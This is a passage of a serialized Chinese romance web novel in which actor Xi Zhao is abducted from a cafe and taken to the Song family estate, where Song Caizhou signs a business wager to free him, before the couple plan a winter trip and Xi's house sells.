他冲对方眨了下眼睛:“确实是好事,中介那边有消息了。”
27.第 27 章
宋采舟手上动作一顿,随即笑说:“那确实是好事,所以你明天是要去和意向买家见面吗?”
“嗯,对方好像挺急的,约了明天看房。”席棹拨弄着桌上那盆不知名植物的叶片,“等房子卖掉我就把那五十万先还你,希望能顺利吧。”
宋采舟伸手,从他手底下救出被揪得奇形怪状的叶子,突然问了句:“你有没有想过还完钱后走。”
“啊?”他脑子里想着悬梦那些小剧本的事,一下子没能理解其中意思,茫茫然地接话,“走?去哪儿?”
“没什么,只是问你有没有考虑过以后买套自己的房子。”宋采舟的眼神犹疑了一瞬,有些担忧似的看向心不在焉的人。
他淡淡地回:“S市的房价我是不敢高攀,等以后片酬高点再说呗。”说到这里他单手支在脸侧,“快过年了,你到时候是不是得回宋家?”
宋采舟一脸没想到他会提这事的表情,嗯了声:“回去露个脸,没什么事情的话当天就回来了,我不爱在那里吃饭,怎么,你想去宋家看看?”
“我?”他只是随口一问,却被这样的回话吓得一激灵,“我去宋家干嘛,听你提过两回就觉得那里怪瘆人的。”
“没那么夸张,但也不是什么好地方。”宋采舟抱起那盆被摧残得面目全非的植物,留下一句:“今年年夜饭咱们一起吃。”就闪回了自己房间。
临睡前,席棹花了两个小时和悬梦工作室的人聊剧本设计,对方似乎察觉到了他的热情和困境,主动发出当面沟通的邀请。
他正在兴头上,等反应过来的时候发现自己已经答应了,又怕临时反悔上对面黑名单,秉着对自身行为负责的心态硬是没撤回。
“好的,那我们工作室这边审核下最近可安排的时间,明天确认完后给您消息。”
“行。”
第二天他神清气爽地收拾完自己后把身体数据发给营养师,得到了“可以恢复力量训练”的答复,就高高兴兴地出门,久违的去了健身房。
最近接连遇到大落大起的事,饶是他表面装得再淡定,也必须得承认自己心态受到了影响,于是愈发投入的磋磨身体,等教练都看不下去开口阻止他再继续的时候,已经是下午两点了。
他觉得自己还能继续,然后被教练强行终止赶进淋浴间,洗完澡又变回那个干净清爽的帅哥时也才两点半,干脆直接到了锦荟小区门口,走进那家和小刘约好的咖啡厅。
他之前来过几次,不过都是买了咖啡就走,这还是第一次堂食。店员是个冷着脸的年轻男生,浑身散发着不想上班的怨气,他这才想起今天是周五工作日。
“喝点什么?”男生两只手不停地在机器上敲敲打打,拉出一长串的外卖单子,折了几下递给另一个在打包的店员,头也没转的问他。
他刚要说话,手机响了,是林善善。
“席哥,你猜我在公司看见谁了?”替身里虞陵的戏份杀青后,他赋闲在家,林善善就被乔颖带回了B市进行规范培训,其实就是以星汇正式员工的身份参与集体活动,了解企业文化。
他不好意思地冲机器前的男生笑笑,快步走到了一边才回:“说吧,什么大腕让你激动成这样。”
电话里林善善嘿嘿一笑,声音亮得不行:“钟潇楠!国内最年轻的影后!”说着声音又神秘兮兮的小下来,“我才知道原来乔颖姐就是她以前的经纪人,天呐她本人气场比电视上看到的强多了,乔颖姐在她旁边都显得特别温柔。”
“所以你要签名了吗?”他轻笑着调侃,猜到这家伙要说什么,果不其然就听林善善道:“当然了,本来现场人多到爆炸根本挤不进去,还好后来乔颖姐直接把我带进了后台,我就要到了,还是to签!”
那喜悦透过冰冷的手机屏幕传出来,把他的心情也感染得雀跃了几分。
等他再回到点单区的时候,发现原来那个冷脸男生和另一个打包的店员都已经不见了,代替位置的是个文艺青年,卷起的衬衫袖口下露出了半只海鸥纹身,倒是和这家店的调性很配。
“你好先生,需要点什么?”文青店员说话的语调也很符合他的刻板印象,透着股慵懒的自由。
“你好,我要......”
下午五点半,席棹已经在咖啡厅靠窗的角落位置坐了近三个小时,一小叠布朗尼佐着两杯咖啡下肚,硬生生把他顶了个水饱。
那三十几个剧本都看完了,天色已经昏暗,但中介小刘那边一点消息都没有,虽然距离约定好的时间还有半小时左右,但以他对这个行业浅薄的了解,觉得总不至于一声不吭。
正发愁时,那个纹着半臂海鸥纹身的店员走了过来,用遥控把店里的灯调暖了三个度后,靠在挂画旁问:“你是在等人吗?我看你已经在这儿坐了一下午了。”
这实在不像是询问客人的语气,反倒更像搭讪。
他本能地有些不悦,并不想回答,但对方却直接在对面坐下,摘掉了头上戴的店员帽。
“先生,有没有人说过你很像阿多尼斯。”
他这才发现对方的发根染成了白色,被帽子扣着压得乱糟糟的,像雪顶咖啡上面那层冰淇淋化掉的样子。
“我不认识。”
可惜这么生硬又明显的拒绝没能逼退对面的人,“不重要,我的意思是,你很美。”
“叮”杯底触碰到瓷盘表面,发出不那么悦耳的声响,他松开捏着挂耳的手指搓了搓指腹,面无表情地抬头:“你不用回自己的工位上吗?这可是周五晚上,耽误了店里生意不太好吧。”
他的余光撇过前台,想起整个下午再没看到过其他店员。
“没关系,我就是这家店的老板,钱是赚不完的,但艺术灵感来的可不容易。”
席棹退开身子,向后躲过对方伸来的手。“啊不好意思,吓到你了吗?我只是想帮你弄掉那个。”
顺着那根手指,他低头看到衣领边沾着的布朗尼碎屑,蹙着眉心拂掉。
“好吧,看来你不喜欢这样的搭讪方式,太可惜了。”自称老板的男人重新戴上帽子站起身,意味深长地看了他一眼后离开了。
这个小插曲过去几分钟后,他终于接到了小刘的电话,“喂,你和买家快到了吗?再晚天就要全黑了,不好看光线变化。”
那头却支吾几声,迟迟才发出声音。“席先生,真的很
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抱歉,买家那边临时发消息说......说不来了。”小刘听上去也是慌乱的,声音越说越小。
“不来了?是今天不来了还是?”如果只是今天不来,那可能是临时有事抽不开身,或许之后还有交易的可能。等了这么久终于等到的一个意向买家,他并不想轻易放弃。
“我也不知道,他只发了条短信,我电话打过去对面不接,平台上发消息过去也不回。”小刘急得解释起来都咬舌头,“我还让公司帮忙联系了,可是他们跟我说这是个空号,没人在用。”
他脑子里嗡的一声,像被谁锤了一拳。
小刘还在说:“不好意思席先生,我是真没办法联系上对方,怕您等久了着急这才打电话的,真的不好意思。”
他不知道自己是怎么挂断电话的,只知道昨天收到消息时心情有多好,现在就有多糟糕。
定了看房时间又爽约?这也就算了,可直接销号,至于吗?是怕自己这个卖家难缠所以干脆切掉所有联系上的可能性?
一连喝下肚的两杯咖啡好像在这时起了作用,他的心跳得越来越快、越来越凶,连外面下雨的声音都是好半天后才听进耳中的。
坐在安静的角落思考了很久,他依旧没想明白那个“买家”到底图什么,这时手机屏幕上弹出特别关注的新消息。
“您好,我们这边随时有空见面沟通剧本合作的事,但是地点由我们来定,需要您配合,可以吗?”
是悬梦工作室发来的。他轻呼一口气,心想好歹还算有件好事,回复过去:“可以,但最好是S市。”
对面回得很快:“当然是S市。”没等他高兴两秒,下一条消息就把他的笑钉在了一个诡异的角度——
那是一个位置分享,不用点开,直接就能看到坐标名字。
“T''get Cafe”,他现在坐着的这家咖啡厅的名字。
他猛地站起身,甚至因为速度过快头晕起来,整个人伴随着突然的耳鸣晃了几下。
“先生,你怎么了?”店长赶紧走过来扶住他,“你脸色不太好,需要帮忙吗?”
慵懒随性的声音在耳边环绕着,他反抓住对方的胳膊,顾不上什么社交距离说:“麻烦帮我叫辆救护车去医院,我不太舒服。”
“救护车吗?”店长听后却没什么反应,低声重复了一遍后,似笑非笑地看着他,“你确定,要叫救护车?”
不对。有哪里不对。
席棹松开手后退了两步,后腰抵在桌沿。
这家店下午起就只有他一个客人,明明周五晚理论上该是高峰期,却连一个外卖员都没进来过。
所以这个自称店长的家伙才会这么清闲,有闲功夫来和自己搭讪。
搭讪。想到这里他打了个冷战,那真的是搭讪吗?还是说,是监视?
临时取消的会面,重合的定位,奇怪的人。
耳鸣越来越严重,他几乎睁不开眼睛,透过仅剩的视野看到的,是店长伸手从后背拿出的东西。
电击器。
“席先生,您很聪明,但可惜,还不够聪明。”
下一瞬,他腰眼一麻,眼前黑了下去。
28.第 28 章
沉闷的、隐隐约约的敲击声忽近忽远,像是整个人被投进大海,动弹不得的身体无法控制行进的方向。
“您醒了,席先生。”近在咫尺的声音让全身瞬间炸起一层鸡皮疙瘩,本能地向后一倒想远离,却被一块坚硬的东西抵住。
席棹的腰一下子僵住,就在这一秒,他想起了自己在咖啡厅遇到的所有事,也终于意识到现在是什么情况。
明明已经睁开了眼,视野却是一片漆黑,布料紧紧贴在眼部磨得那一小片脆弱的皮肤生疼,他不得已只能又闭上。双手交叠手腕被绑着,他试着挣扎了几下,发现越挣那上面的结反倒越紧。
“席先生,我劝您不要白费力气,否则根据反应和表现,以防万一我只能把您身上的东西都扔了,那样损失的可是您自己的财物。”男人的声音不像之前那样懒散,听起来倒有种类似业界精英的调调。
他卸了力,安静下来,身旁的人也没再说话。
隐约的敲击声又传来,视线被剥夺四肢也动不了,于是他铆足了劲拿耳朵去听,然后发现那好像是雨滴砸落的声音。
外面下雨了,还夹杂着一阵阵轻微的类似摩擦的动静。
“你要带我去哪儿?”他明白过来这是在车上,而自己被绑了眼睛和手,那就说明对方不想让他看见路线,更不想给他机会逃跑。
“一会儿您就知道了,现在还是先好好休息吧,请放心,我只负责把您带到,不会对您做什么的。”
好好休息?他刻意大幅度地挣了几下,试图让对方意识到这话的可笑。
可惜从这之后无论他再怎么问话套话,车上都再没有响起任何声音。
接下来漫长的沉寂中,他只能通过非常细微的车身停下和起步的动静来判断这可能是什么路段,但是几乎不间断的雨声限制了听力,到后来精神集中久了,听进耳中的动静反倒都糊成了一团,再分不清。
于是他就转而寄希望于手机上自带的定位,安慰自己再不济就算被关机,人这么久没动静,宋采舟到时间了多少也会觉得奇怪,会试着联系的。
不知过了多久以后,雨声终于小了,可车子停的时间越来越短,最后几乎是一刻不停地、平速地进入一片寂静无声的环境中。
被扶着肩膀带下车的时候,第一感觉告诉他,这里绝对不是上次那种废旧工厂,周围的空气清新自然,城市里不可能有这样的环境。
可S市出城不是这么畅行无阻的事,他也能保证自己醒来后没有听到过一句司机方向传来的说话声。
现在对他而言,被绑架不算什么顶可怕的事,毕竟先前已经有过一回。但这样被有预谋地、一路没有丝毫阻碍地绑到这种地方,有了先前那次做对比,就显得太令人胆寒。
他的脚像是被粘在了地上,迟迟不愿意挪动。
“席先生,您是坐得太久没力气走路了吗?”男人在离他不远不近的位置这样问,然而不等回答,就自顾自说道,“抱席先生进去。”
“是。”他终于听到了除自己和男人以外第三个人的声音,接着下一秒就被搂着膝窝打横抱起。
他能感觉到靠着的这人是个体格比自己还要高大的练家子,否则不会这么轻松,连气都不带喘。
练家子的脚步很稳,但一点都不沉,落在地上发出的声音很轻盈。他觉得自己被夹在三块合金板之间,连一点挣脱的余地都没有。
事实上也确实没来得及挣扎几下就被放下了,沙发发出咯吱的动静后,“席先生,请在这里耐心等待。”接着就是比车上那会儿还要死寂的安静。
不同的是这儿的空气里似乎多了些什么东西,不过几分钟他便昏昏欲睡,明明手腕上的禁锢已经被解开了,但就是聚不起力气站起来,双腿软得不合常理。
没过多久,门开的声音很轻,但走进来的脚步声毫不掩饰,显然不止一个人。
他听到一句“给他解开”,然后眼前的布条就被扯掉,灯光一瞬间刺进来,久不见光的眼睛里涌出眼泪,在狼狈地拿袖子擦掉以后又适应了十几秒才终于看清周围。
这是一间客厅,但用间来形容又不太准确,他只在一些投资巨大的电影里见过这样的,客厅。
自己正坐在落地帘边的单座沙发上,面前隔了张长桌,正对过去坐着两个陌生男人。
只一眼他就有了猜测。
“宋?”
在他出声说完以前,对面坐姿端庄的长发男人开口:“不好意思席先生,用这种方法请你来也是迫不得已,我是小舟的父亲,柏清澜。”
另一个男人的态度就直接许多,颇为不赞同地看着身边人说:“清澜,事儿是我派人做的,你不用对他这么客气。”
柏清澜没搭话,只是又点点头:“这是小舟的二叔宋英酬,他的另一位父亲有事抽不开身,所以我们来和你谈。”
席棹的视线从柏清澜淡然的脸挪到旁边宋英酬侧着的脸上,后背绷紧了些:“你们什么时候知道的?”
宋英酬闻言扭头看他:“所以你承认自己是有意接近小舟的?”
他还没把“有意接近”和自己对上号,就见柏清澜轻咳了声:“本来我们是不知道的,但前不久朋友家的小辈因为一点私生活和家里闹得不太愉快,托我们帮忙。”
柏清澜说话轻声细语的,声音却非常有穿透力,听得他耳朵酥麻。
“巧合之下发现了你的存在,以小舟的性子,他是不会主动和我们提起这件事的,所以没办法只能用这种方式请你来,抱歉。”
如果不是对方在说这些话时始终冷淡的表情,他差点信了这句抱歉。
柏清澜的这番话其实并没有解开他心中的疑惑,只是看样子对方也不打算继续解释了,甚至用一种“我说完了,该你了”的眼神看过来。
这时宋英酬起身倒了两杯水,一杯递到柏清澜手中,另一杯放在柏清澜面前的桌上,然后倚靠在桌边手撑着台面。
“叫席棹是吧,你要什么,钱?资源?”宋英酬挥了挥手,“无所谓,你想要什么宋家都给得起,和小舟分开,封口费不会亏待你。”
柏清澜没再开口,只是一点一点喝着水,喝完了手中这杯又去拿桌上晾着的另一杯,两杯都喝完以后他抬头看向宋英酬。
“还要吗?”
他点点头,然后宋英酬就又倒了两杯。
席棹看着这对名义上的叔嫂,莫名觉得有哪里不对,仔细观察了宋英酬的神情和动作后,发现他一直在小心地讨好柏清澜,这种讨好甚至带着一点......哄人的味道。
“说吧,要什么。”而面对自己时,宋英酬眉眼间那细微的温柔瞬间就消失无踪。
他清了清干渴的嗓子:“如果我拒绝呢?”看到对方转变的脸色,他确定了一点——
这俩人很可能不知道宋采舟和他已经领证结婚了,恐怕还以为是金主包养或是恋爱关系。
是没查到,还是压根就没往那方面想?
“拒绝?”宋英酬的语气沉了几分,“你以为你有拒绝的资本?他现在给你的东西,我随便动动手指就能让你百倍还回来。”
“你父母的医疗贷款,这段时间产生的治疗看护费用,还有你那刚起步的事业,你确定你有独自对抗这些风险的能力?”
柏清澜又喝完了一杯水,抬手止住宋英酬,“席先生,如果你不愿意和小舟分开,那么为了他的安全和宋氏集团的利益着想,我们就只能让你消失在社交媒体上了。”
“但我觉得你不是那种甘愿被豢养在家的人,所以才请你过来给你自己选择的机会,还是希望你能理智思考后再回答。”
席棹松开拳心往后靠了靠,开始思考起来。他在想柏清澜刚才提到的“巧合”是什么,和自己有关的私生活有问题的那个“朋友家的小辈”又可能是谁。
很快脑中就浮现了一张脸,朱实茂。于是心下恍然,怪不得做事风格那样嚣张,在组里也
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没见他对谁殷勤讨好过,原来是家里有靠山。
他开始答非所问:“上一次把我绑到城北废工厂的也是你们?”
柏清澜细长的眉毛出现了一秒不到的曲折,偏头静静地看向宋英酬,没说话。被注视的人连忙矢口否认:“我没干过那种事。”
他心下一颤,虽然不知道这话的真假,但如果真的不是宋家,那还有谁会那样目的明确地冲着自己的腺体来呢?他现在有些后悔当时想的太简单,没留下那只针剂了。
柏清澜意有所指道:“席先生,你为何不把这个作为和我们谈判的条件之一呢?只要你答应和小舟分开,这件事我一定给你满意的答复,无论幕后是谁,决不包庇。”
他的语调本来就轻柔,又刻意放缓了最后几个字的语速,像是故意给听的人留出充足的观察时间。
可惜,未见宋英酬有丝毫慌乱。
“我没有和你们谈判的打算。”
“这么说你不愿意和小舟分开?”
“他的感情难道不是他的自由吗,你们以前也是这样插手的?”
“你懂什么叫自由?宋家人没有你说的那种自由。”
“他从没有和谁建立过亲密关系,你是第一个。”
柏清澜和宋英酬同时开口,说的话截然不同,但同样让他心感震撼。
“所以,你们是说他没有自己选择的权力。”
“对。”
“至少现在,没有。”
“我不懂。”
“你不用懂。”
他突然意识到,宋采舟的生活看似轻松自由,但始终都在宋家的监控之下,那和曾经被关在家里禁止外出的时候又有什么两样呢。
只有肉/体出走的自由,也能叫自由吗?
席棹感到愤怒,愤怒到后颈发烫,随即想起在B市宋采舟带他去温小鹤墓前,眼眶又有些酸。
“我拒绝,我不会和他分开。”他给出了和面对宋闻的时候一样的答案。
柏清澜叹了声气,然后看向大门方向,“英酬,让他们去准备吧。”宋英酬应声走向门边,在路过时突然看了他一眼。
这一眼没有先前那种轻视和不屑,只有可怜,看流浪的猫猫狗狗时那样的可怜。
“既然如此,那你从今晚起就留下,以后也不用为工作和钱发愁了。外面的一切英酬都会替你摆平,和我一起打理好家里就行。”柏清澜的脸上终于有了一点表情,是苦笑。
席棹明白过来这话的意思后倒吸口气:“你们这是非法拘禁!”说着试图用力起身,但尝试了几次都失败。
柏清澜慢悠悠摇头:“是不是非法你心里应该清楚。”
“啊!”这时大门方向传来惊呼,他扭头去看,有道轮廓在灯光下影影绰绰。
宋英酬冲外面骂了声“废物”,然后甩上门紧跟其后返回客厅:“站住!这么久不回家,你学的礼数呢?”
宋采舟半身被雨水淋湿,面唇苍白,几绺发丝贴在侧额,外套皱皱巴巴的一副和人推搡后的样子,浑浊的水珠顺着裤管流下,汇聚到地面上弄成脏兮兮的一团。
“爸。”他还在剧烈喘气,对长桌左侧坐着的柏清澜叫了一声,然后急忙看向右侧的人,“你、你没事吧?”
席棹使劲眨眼确定自己没有出现幻觉,站在那里的人真的是宋采舟。
“小舟。”柏清澜表情又变回淡淡的,“去擦一擦,别感冒了,对身体不好。”
“您如果真的为我的身体着想,就不该用这种手段把他带进宋家。”
“你这是和父亲说话该有的态度吗!”宋英酬从后面赶来,往宋采舟身上甩了条厚绒毛巾,“看看你现在,像什么样子!”
宋采舟呼吸平缓了些,拿过毛巾擦起头发,语气轻佻:“怎么,我早就成年了,还不许我做点成年人该做的事?”
“我不会和席棹分开,也不会让你们把他绑在这儿,我来,就是来带他走的。”
29.第 29 章
“我和你爸都在这儿,轮得到你说走就走?”宋英酬看上去比刚才被席棹呛话时还要生气,大步走回桌边。
宋采舟把身上挂不住的水擦干净后,把毛巾往桌上一甩,拨弄着半湿的额发挑起眼看他:“二叔,我爸都还没说什么,您这么着急上赶着教训我,是不是不太合适啊?”
“你!”
柏清澜开口:“好了英酬,一家人没必要动气,把话好好说开了就行。”说着指了指杯子,“能再帮我倒点水吗?顺便去帮我拿一下办公桌上的东西。”
宋英酬听完虽然还是一脸的不愉快,但到底也没说什么,先帮他把水满上才往电梯去。
电梯显示楼层停在了三楼,席棹收回视线,抬头看着走到身边的宋采舟:“我以为今晚真的回不去了。”他已经晕得坐不直了,只能虚虚地倚着靠背。
宋采舟的眼神软了一瞬,伸手覆在他冰凉的手背上:“放心,我一定带你回去,累了就闭会儿眼睛吧。”
他动作缓慢地摇头:“路上闭太久了,眼皮疼,这样睁着就好。”
宋采舟听后,侧过脸看向柏清澜,柏清澜依旧是那副面无表情的模样:“不让他看到路,也是为了他的安全着想,你应该明白。”
这话无法反驳,宋采舟心里窝火,气氛就这样僵持住了,直到电梯门打开。
宋英酬手上拿着个文件夹走出来,表情比刚才上楼前还冷硬。他走到柏清澜身边,把文件夹轻轻放下,用一种略显凄楚的表情垂着眼看他,希望得到回应。
“小舟,席先生刚才也说不会和你分开,但是今晚你们两个人里只能离开一个。”柏清澜用手指梳着自己垂在前胸的长发,轻飘飘道。
宋采舟眯起眼:“如果我非要带他走呢。”
宋英酬笑了声:“去年你爷爷答应的东西还保管在我这儿,给不给,只是我一句话的事,你现在应该很需要那些股份吧。”
他说完把目光移向席棹:“只是让席先生住在家里,也不算委屈,至少比在外面被人盯上,动不动被绑架威胁要好,不是吗?”
席棹昏昏沉沉着迷糊的视线突然清晰凝型,他顺着痛觉看过去,发现左手被攥得发红。宋采舟并没有低头看他,但从那片微麻的皮肤和里面骨头传来的钝痛,他能感觉到他生气了。
“直说吧,什么条件。”他从没有听到过宋采舟这样沉的声音,冷得像要滴水。
不过宋英酬显然对此习以为常,“签了这份对赌协议,你才能带他走。”他双指点在文件夹上,说完了却又不动作,文件夹表面被指尖摁出一块凹陷,反出的灯光像月下湖面。
柏清澜不出声,宋采舟也不出声,四人就这样静静地互相盯了两分钟。
最后宋英酬摁着那份文件夹,在桌面上拖着,一步一步走到两人这边。牛皮纸面摩擦发出难听的声音,传到席棹耳中,他的头更痛了。
“别”他想伸手抓住宋采舟的衣袖,却因为无力只能眼睁睁看着那纤长五指打开旋扣,抽出一小叠纸张。
那纸上的内容他看不清,但只凭身边人顿住的呼吸和周身冷下来的气场,他也能猜到上面列的不是什么好事。
“呵,你们可真敢提。”宋采舟捏着几页纸晃得唰唰作响,冲宋英酬冷笑道:“要我的全部身家,不怕一口吃不下吗,二、叔。”
“你还年轻,多历练几年才好,况且你这么看重他,想必他身上也有什么过人的本事能帮到你,给他一个证明自己的机会不好吗?”宋英酬目光在两人身上来回逡巡,然后微抬起下巴示意,“用能力换自由,我们从小就是这么教你的。”
“好一个用能力换自由。”宋采舟说着勾起唇角,倾身向前盯住宋英酬的双眼,低声道:“可如果你输了,你手下的整个娱乐板块可就都归我了,这么大的赌注,你确定?”
“我甘愿。”宋英酬说着看了那边端坐着的柏清澜一眼,催促道,“你签还是不签。”
宋采舟舔了舔出血的齿间,咽下一口混着腥甜的唾液,伸手抽出宋英酬领口袋上别着的笔,看了眼:“万家零九年的新星一号,花了不少钱吧,这不像是你的品味啊二叔。”
说着没等人反应,卸下笔帽,在几张纸上一气呵成地签下名字后把笔身倒着塞回宋英酬的袋中,笔帽放在其手心:“收好了,按照约定,如果一年内我让星汇市值翻十倍成为行业前十,你现在负责的集团娱乐板块就是我的了,包括这支笔在内。”
“好好保管着,我会来取的。”
宋采舟说完扶着席棹的双肩轻声问:“能站起来吗?”
席棹闻着近在咫尺潮湿的气味,心一横咬开舌侧还没完全愈合的伤口,瞬间冷汗和眼泪齐涌,借着宋采舟的搀扶抖着腿站了起来,轻喘道:“走。”
走向那扇通顶大门过程中的每一步,他都在告诉自己,不能就这样推宋采舟进泥潭,不能连累他到这种地步,不能让他这些年的努力被挂上悬崖转瞬就化作泡影。
理智在不停呼号,但还有另一个声音盖过了理智,在心里喊得更响。
这是他第一次放任感性淹没理性,他要和宋采舟一起踏上一条不可回头的独木桥。
两人离开后,宋英酬有些颓然地扣回笔帽,拿着那份已经生效的对赌协议走回坐着的人身边。
柏清澜端端正正地坐着,两只手安稳地放在腿上,接过协议书没去翻阅确认,只是问:“未经你同意拿你的东西做赌注,你恨我吗?”
“我怎么可能恨你。”宋英酬抿了抿唇,视线落在柏清澜被薄毯盖着的双腿上,“是我欠你的,你要什么都理所应当,只是一个板块而已,就算要整个宋氏集团我也愿意给你。”
“是吗。”柏清澜咳了两声,露出一个微笑,“可惜宋氏不是你说了算,你大哥,他可不愿意。”
听到他提起那个人,宋英酬眼里的光黯了下去:“清澜,拟这样的对赌内容,你到底想做什么?”
柏清澜笑眼盈盈道:“我只是想让他看看小舟成长到什么程度了,想让他知道,我的孩子和他不一样。”然后他抬手捏了捏宋英酬的指尖,“推我回房吧,我想休息了。”
“对了,让阿闻过两天回家来一趟,我和他聊一聊。”
宋英酬皱眉不喜:“和他有什么好聊的。”
柏清澜把协议放回文件夹里扣好,轻描淡写道:“怎么说他也算是那个圈子里的人,有些事做起来比我们更方便。”
......
席棹和宋采舟是被专车送回城的,车上的后座窗户被封死,和前排驾驶之间也有着遮挡,根本看不见窗外的景象。
“被绑架的事为什么不告诉我?”
喝下调配的解药后,席棹总算逐渐恢复清醒,刚有点力气就对上了宋采舟不满的质问眼神。
“我那时候以为是宋家派人做的,你又和他们关系紧张,就不想让你为难。”他说话声音还是虚,宋采舟只能凑近了听,结果一侧头俩人差点贴上。
“咳”宋采舟清了下嗓子坐直
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了身体:“我会让人去查的,以后你一个人外出都要注意点,不过最好能提前告诉我,别再让我担心了。”
他指尖蜷缩了下,五指慢慢拢紧,“那个对赌协议怎么办?”冷静过后想起刚才在宋家发生的一切,他才后知后觉地意识到宋家到底有多复杂。
能让自家人弄出对赌协议这种东西的就不可能是什么正常家庭。
宋采舟深呼吸说:“这个你不用担心,就算没有你,这种事情也是早晚要发生的,我之前就和你说过宋家人都不正常,你今天也见识到了。”
在席棹看不到的角度,他的目光晦暗。“只有我手上的权利比他们都大的时候,我才能真正脱离那个家获得自由,这几年我做的所有事都是为了那天。”
“所以我只能往前走,也必须往前走,宋英酬手上的只是第一步,如果连这一步都做不到,那就别谈以后了。”
车内沉静半晌,席棹呼吸声渐重,手心握紧又松开,最后慢慢试探着握上了宋采舟的手。
“我和你是一起的。”
宋采舟看着他,反握住:“当然,你以后可是星汇摇钱树,我还指着你给我挣钱呢。”
席棹用三天时间梳理了自己的职业规划,在知道裴明知转发邮件是个被精心安排的巧合后,也彻底放弃了接触悬梦那样的短剧。
他挑了个冬日里难得风和日丽的下午约了乔颖。
“离我们约定的期限还有几天,你确定现在就给我答复?”乔颖放下杯子,把眼镜往上推了推,“你的眼神看上去倒是比之前坚定了,是发生了什么事?”
他点头,又摇头:“我喜欢上一个人,不是圈里的,我想和他在一起就必须走到更高的位置上。”
乔颖的镜片折射着灯光,遮住了眼神,“你倒是实诚,别的艺人都是偷偷谈恋爱,能瞒一个是一个。”
“因为我相信你是真的为我好,我也相信自己的感情。”他抬起眼,“乔颖姐,我要争取那个机会,崔琳导演的新电影。”
音像店墙上的中古挂钟到了半点发出敲击声,三下过后,乔颖从包里取出一个黑色密封袋推给他:“电影定项名是大雾,这里面是大雾的初稿资料,你拿回去自己琢磨,年后选角,我要看到你的决心。”
“别让我失望。”
乔颖走后,席棹一个人在店里坐到天黑,最后被下班路过的宋采舟一起带回了家。
“你之前被绑架的事儿有眉目了。”宋采舟关掉音乐,指腹还在敲方向盘,“是医院那边的消息走漏,你父母的治疗方案引起了一些人的注意,再加上前段时间社交媒体上有关你的通稿,他们以为你背靠金主,就想着接机讹一把。”
“人抓到送进去了,但是团伙里有个家伙已经逃出国,现在这个时间段不太方便动手,要等年后。”红灯亮起,车身停下。
“不过有这群人做榜样,以后不会有人敢打你的主意了,可以放心些。”
他小心地拆着黑色密封袋,问:“这个世界的绑架罪怎么量刑的?”
路灯跳绿,宋采舟一脚油门下去:“信息窃取、绑架、破坏私人财产、侵害腺体未遂,还有对公众人物的名誉损害,他们这辈子都别想出来了。”
“名誉损害?”他手上动作一顿,里头的文件露了个边角出来,“什么名誉损害?我没有把这件事告诉公司啊。”
宋采舟方向盘一打,“不是你,是宋闻,他出面了,说起来这件事还得谢谢他,找个时间咱们请他吃个饭吧。”
30.第 30 章
距离过年还有半个月的时候,两人以道谢名义约宋闻吃饭,地点选在了宋采舟前不久和阿穆合资开的综合酒店。
宋闻带了个西装革履的男人,看起来年纪比在场三人都大,却从头到尾没说一句话。
就在席棹控制不住地把目光落向男人颈间的时候,宋闻伸手搂住对方的脖子笑道:“Ren比较害羞,这是不好意思呢,别介意,我们一会儿就撤了。”说着冲两人俏皮地眨了眨眼,“不打扰你们。”
他们走的时候,席棹看到宋闻把手从肩上挪到了侧腰,那男人不知道为什么突然抖了一下,差点摔倒。
“你看到了吗?那位先生脖子上好像有勒痕。”他不确定地轻声问。
宋采舟擦了擦手:“你看错了吧,这里的灯照下来是条形的,可能是灯光阴影。”
他抬头看了眼奇形怪状的吊灯,然后伸出手背左右转了转,果然看到差不多的阴影形状,惊奇道:“还真是,这灯你选的吗?”
“不是,阿穆选的。”
他的脸色瞬间淡下来:“又是他,怎么他老缠着你啊。”
宋采舟哭笑不得:“宝贝,这是合资生意,食源、厨师、装修都是他那边操办的,我只负责出钱,这还叫老缠着我吗?”
“......”就在他因为那个称呼心情转晴的时候,手机铃声一把将他拽了回来。
“小刘?谁啊?”宋采舟瞥了眼来电显示问道。他如梦初醒般接起,听到小刘激动难抑的声音:“席先生,您挂的那套房子有买家了!”
这时刚好有餐车经过,他没怎么听清,就问:“是有人想约看房吗?”小刘连忙道:“不是不是,是已经确定要买,在准备走流程了!”
“啊?”他愣了下,“都不用实地看一下吗?”买房又不是菜市场上买青菜萝卜,他还没见过这样爽快的人,甚至可以说是有点草率了。
小刘笑声爽朗:“啊是这样,对方是十多年前锦荟小区的住户,后来去外地发展生意就把原来的房子卖了,年后他们孩子留学回国要留在S市工作,又对老小区有感情,您这套正好符合要求就直接敲定了。”
小刘嗓门不小,宋采舟又坐得近,所以听得清清楚楚,随口说了句:“听着也不差钱,这不是好事吗?”
他琢磨了会儿最后点点头:“行,那就趁年前抓紧把手续办了吧。”
小刘欢天喜地的和他敲定见面时间,电话挂断后宋采舟侧过头看了他一眼,说:“怎么了,你看上去好像不是很开心?”
卖房对席棹来说算一件大事,再加上年后还有最为要紧的试镜,接下去他很可能腾不出空来,所以能在年前这个时间段把这件事处理掉简直是最理想的情况了。
如果放在之前他一定会因为这个消息失眠一晚以示尊敬,但在经历了跌宕曲折的几天后,他已经不敢把欣喜提前表现出来,就怕中途又有什么变故害的一腔热情错付。
“等事情都落定了再高兴吧。”他拿湿巾擦了擦手,语气转而严肃认真,“我打算用一个春节的时间去穷游西部三省。”
宋采舟继续一小筷一小筷的夹着鱼肉往嘴里送,边吃边问:“是为了新剧本吗?春节去会不会太冷清了一点。”
“算是吧,有个项目想争取一个角色,冷清点挺好的,本来那个故事背景就不是在人多的热闹地方,要不是时间不允许我原本计划是穷游全国的。”
宋采舟放下筷子:“怎么,这项目很急吗?电视剧?”
席棹在脑子里整理了一下看过的资料:“是电影,年后选角,其实具体角色和详细故事内容都还不知道定没定,随时可能会改的那种,但是故事基调和背景是确定了的,偏沉重的落地现实向。”
“哦,就是穷的那种文艺风呗。”宋采舟一下就明白过来,“你是想去这个世界的底层环境浸一浸?”
“嗯,万一和我们原来那儿不太一样呢,我到底没有真正体验过,怕到时候进入不了角色,连第一关都过不去。”
宋采舟默默点头:“也是,我也没体验过,那正好,我就和你一起去散散心吧。”说着他掏出手机看了眼自己接下来一周的工作安排,“今年我不打算回宋家露脸了,反正他们心里都有数,老爷子那边也不用我去解释。”
他咦了声,笑问:“我这可是穷游,没经费纯体验的那种,你这金尊玉贵的大少爷能受得了吗?”
金尊玉贵的宋少爷回了他一个挑衅的微笑:“你穷游关我什么事,我可不穷游,我是去当度假享受的。”
他一听被噎得发笑,伸手去掐那张可恶的脸:“好哇你,居然不陪为夫一起吃苦!”两人旁若无人地打闹一番后才起身回家。
小刘不愧是部门业绩常年前三的人,趁着年末尾巴加班加点,火速给席棹办完了手续,让他在年前收到了款。
